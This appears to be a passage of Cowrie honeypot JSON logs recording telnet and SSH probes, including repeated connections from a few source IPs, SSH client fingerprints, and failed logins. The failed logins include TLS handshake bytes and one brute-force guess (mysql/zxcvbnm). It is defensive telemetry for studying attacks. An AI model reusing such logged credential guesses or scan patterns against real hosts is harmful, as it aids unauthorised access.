{"eventid":"cowrie.session.closed","duration":31.10636019706726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:13.060449Z","src_ip":"23.111.140.22","session":"bb6f715696ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030940055847168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:13.384802Z","src_ip":"23.111.140.22","session":"57bf6b721047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53bf55e3c62","protocol":"telnet","message":"New connection: 23.111.140.22:52428 (10.17.0.5:23) [session: a53bf55e3c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:14.219246Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43816,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd82a931eb4d","protocol":"telnet","message":"New connection: 174.138.46.234:43816 (159.203.135.109:23) [session: fd82a931eb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:14.754762Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43876,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede650e0ce75","protocol":"telnet","message":"New connection: 174.138.46.234:43876 (159.203.135.109:23) [session: ede650e0ce75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:14.900306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6ee7abce26","protocol":"telnet","message":"New connection: 23.111.140.22:50530 (10.17.0.5:23) [session: 0e6ee7abce26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:15.087665Z"}
{"eventid":"cowrie.session.closed","duration":0.00525355339050293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:15.092764Z","src_ip":"23.111.140.22","session":"0e6ee7abce26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e818d9c3c58f","protocol":"telnet","message":"New connection: 174.138.46.234:44260 (159.203.135.109:23) [session: e818d9c3c58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:16.004358Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44328,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1bb925d509","protocol":"telnet","message":"New connection: 174.138.46.234:44328 (159.203.135.109:23) [session: 7b1bb925d509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:16.272870Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44426,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8619e115b8","protocol":"telnet","message":"New connection: 174.138.46.234:44426 (159.203.135.109:23) [session: bd8619e115b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:17.559553Z"}
{"eventid":"cowrie.session.closed","duration":30.937557697296143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:18.069125Z","src_ip":"23.111.140.22","session":"96cfc9dbd75d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52546,"dst_ip":"10.17.0.5","dst_port":23,"session":"34dc4766199a","protocol":"telnet","message":"New connection: 23.111.140.22:52546 (10.17.0.5:23) [session: 34dc4766199a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:18.276184Z"}
{"eventid":"cowrie.session.closed","duration":32.46161127090454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:19.501379Z","src_ip":"23.111.140.22","session":"3f5184c08b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.288173198699951,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:20.243418Z","src_ip":"91.196.152.118","session":"6cec131adfd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275010347366333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:21.632336Z","src_ip":"23.111.140.22","session":"ca1745c49d94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.6246325969696045,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:22.183911Z","src_ip":"174.138.46.234","session":"bd8619e115b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.995132684707642,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:22.267876Z","src_ip":"174.138.46.234","session":"7b1bb925d509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56482,"dst_ip":"10.17.0.5","dst_port":23,"session":"94cdd00d1a9b","protocol":"telnet","message":"New connection: 23.111.140.22:56482 (10.17.0.5:23) [session: 94cdd00d1a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:23.327728Z"}
{"eventid":"cowrie.session.closed","duration":31.234704971313477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:24.933560Z","src_ip":"23.111.140.22","session":"5bd6705e37e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33052,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85399babe1d","protocol":"telnet","message":"New connection: 23.111.140.22:33052 (10.17.0.5:23) [session: f85399babe1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:25.849128Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43642,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db3a35d74d0","protocol":"telnet","message":"New connection: 23.111.140.22:43642 (10.17.0.5:23) [session: 5db3a35d74d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:30.343521Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50368,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ffd6fc434a","protocol":"telnet","message":"New connection: 23.111.140.22:50368 (10.17.0.5:23) [session: b6ffd6fc434a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:30.551455Z"}
{"eventid":"cowrie.session.closed","duration":30.740333080291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:33.667443Z","src_ip":"23.111.140.22","session":"9193c730a204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098825216293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:33.795403Z","src_ip":"23.111.140.22","session":"2cb128a702e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43837022781372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:34.378217Z","src_ip":"23.111.140.22","session":"e5cca118e127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.117","src_port":39815,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6d22fac018","protocol":"telnet","message":"New connection: 91.196.152.117:39815 (10.17.0.5:23) [session: 0f6d22fac018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:35.995725Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xe9\\xbda\\xba\\x1d\\xfa\\xf5'","password":"b'z\\xb8\\xb1\\xa20\\x0b\\xea=.\\x9e?\\xb4\\x02.\\x8d\\xd3\\x9a\\xf9\\xa2\\xc1D\\xf8\\x0b\\xc6 M\\xd929\\xb1\\x99\"\\xef\\x0f\\x84\\x03\\x01\\xeb\\xee\\xed\\xde\\xd8!!\\xe0\\xf9\\xd3\\xefG\\xf7\\x03\\x8d\\xb74\\x1a\\xb1\\x82\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xe9\\xbda\\xba\\x1d\\xfa\\xf5'/b'z\\xb8\\xb1\\xa20\\x0b\\xea=.\\x9e?\\xb4\\x02.\\x8d\\xd3\\x9a\\xf9\\xa2\\xc1D\\xf8\\x0b\\xc6 M\\xd929\\xb1\\x99\"\\xef\\x0f\\x84\\x03\\x01\\xeb\\xee\\xed\\xde\\xd8!!\\xe0\\xf9\\xd3\\xefG\\xf7\\x03\\x8d\\xb74\\x1a\\xb1\\x82\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:36.006014Z","src_ip":"91.196.152.117","session":"0f6d22fac018","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","password":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","message":"login attempt [b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"/b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:36.010322Z","src_ip":"91.196.152.117","session":"0f6d22fac018","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"\u0000\f\u0000","password":"\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b","message":"login attempt [\u0000\f\u0000/\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:36.017334Z","src_ip":"91.196.152.117","session":"0f6d22fac018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.1060330867767334,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:36.101668Z","src_ip":"91.196.152.117","session":"0f6d22fac018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.119","src_port":35583,"dst_ip":"10.17.0.5","dst_port":23,"session":"012ebc4119fa","protocol":"telnet","message":"New connection: 91.196.152.119:35583 (10.17.0.5:23) [session: 012ebc4119fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:36.170940Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40482,"dst_ip":"10.17.0.5","dst_port":23,"session":"29883a81a61d","protocol":"telnet","message":"New connection: 23.111.140.22:40482 (10.17.0.5:23) [session: 29883a81a61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:38.218075Z"}
{"eventid":"cowrie.session.closed","duration":3.0032386779785156,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:39.174076Z","src_ip":"91.196.152.119","session":"012ebc4119fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e8a2b346bd","protocol":"telnet","message":"New connection: 23.111.140.22:46454 (10.17.0.5:23) [session: 76e8a2b346bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:39.398554Z"}
{"eventid":"cowrie.session.closed","duration":31.351041793823242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:39.543830Z","src_ip":"23.111.140.22","session":"9f215f35b9be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703344583511353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:40.232542Z","src_ip":"23.111.140.22","session":"a3772fa2db57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374881505966187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:40.920302Z","src_ip":"23.111.140.22","session":"0b13d8ced715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38690400123596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:41.971985Z","src_ip":"23.111.140.22","session":"f970cfe5cebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.8262836933136,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:45.691838Z","src_ip":"23.111.140.22","session":"576160410b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.519057750701904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:45.738207Z","src_ip":"23.111.140.22","session":"a53bf55e3c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":37446,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10a4fd266f1","protocol":"ssh","message":"New connection: 135.235.138.43:37446 (10.17.0.5:22) [session: d10a4fd266f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:45.983705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:45.988269Z","src_ip":"135.235.138.43","session":"d10a4fd266f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:46.181507Z","src_ip":"135.235.138.43","session":"d10a4fd266f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.448967695236206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:46.265467Z","src_ip":"23.111.140.22","session":"93acb2a9d210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40078,"dst_ip":"10.17.0.5","dst_port":23,"session":"d040ac9276a6","protocol":"telnet","message":"New connection: 23.111.140.22:40078 (10.17.0.5:23) [session: d040ac9276a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:46.924413Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"zxcvbnm","message":"login attempt [mysql/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:46.988128Z","src_ip":"135.235.138.43","session":"d10a4fd266f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:48.184720Z","src_ip":"135.235.138.43","session":"d10a4fd266f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.988642930984497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:54.316248Z","src_ip":"23.111.140.22","session":"94cdd00d1a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35586,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e32294a8f68","protocol":"telnet","message":"New connection: 23.111.140.22:35586 (10.17.0.5:23) [session: 1e32294a8f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:55.430628Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ab63b28e03","protocol":"telnet","message":"New connection: 23.111.140.22:33548 (10.17.0.5:23) [session: c2ab63b28e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:56.676106Z"}
{"eventid":"cowrie.session.closed","duration":34.88818573951721,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:00.737201Z","src_ip":"23.111.140.22","session":"f85399babe1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44472,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c0fdc1ce04","protocol":"telnet","message":"New connection: 23.111.140.22:44472 (10.17.0.5:23) [session: 25c0fdc1ce04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:01.686408Z"}
{"eventid":"cowrie.session.closed","duration":45.69855213165283,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:01.702771Z","src_ip":"174.138.46.234","session":"e818d9c3c58f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.31340980529785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:02.589423Z","src_ip":"23.111.140.22","session":"34dc4766199a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58004,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c38d19c43e","protocol":"telnet","message":"New connection: 23.111.140.22:58004 (10.17.0.5:23) [session: 52c38d19c43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:03.494888Z"}
{"eventid":"cowrie.session.closed","duration":33.44325137138367,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:03.786633Z","src_ip":"23.111.140.22","session":"5db3a35d74d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40637159347534,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:03.957551Z","src_ip":"23.111.140.22","session":"b6ffd6fc434a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38228,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbda2a924cd","protocol":"telnet","message":"New connection: 23.111.140.22:38228 (10.17.0.5:23) [session: 7fbda2a924cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:06.701788Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":47806,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b6ddfac7328","protocol":"ssh","message":"New connection: 202.145.0.61:47806 (10.17.0.5:22) [session: 9b6ddfac7328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:06.828736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:06.834389Z","src_ip":"202.145.0.61","session":"9b6ddfac7328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3de09ccf063","protocol":"telnet","message":"New connection: 23.111.140.22:51608 (10.17.0.5:23) [session: c3de09ccf063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:06.899891Z"}
{"eventid":"cowrie.session.closed","duration":0.005373239517211914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:06.905159Z","src_ip":"23.111.140.22","session":"c3de09ccf063","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","ae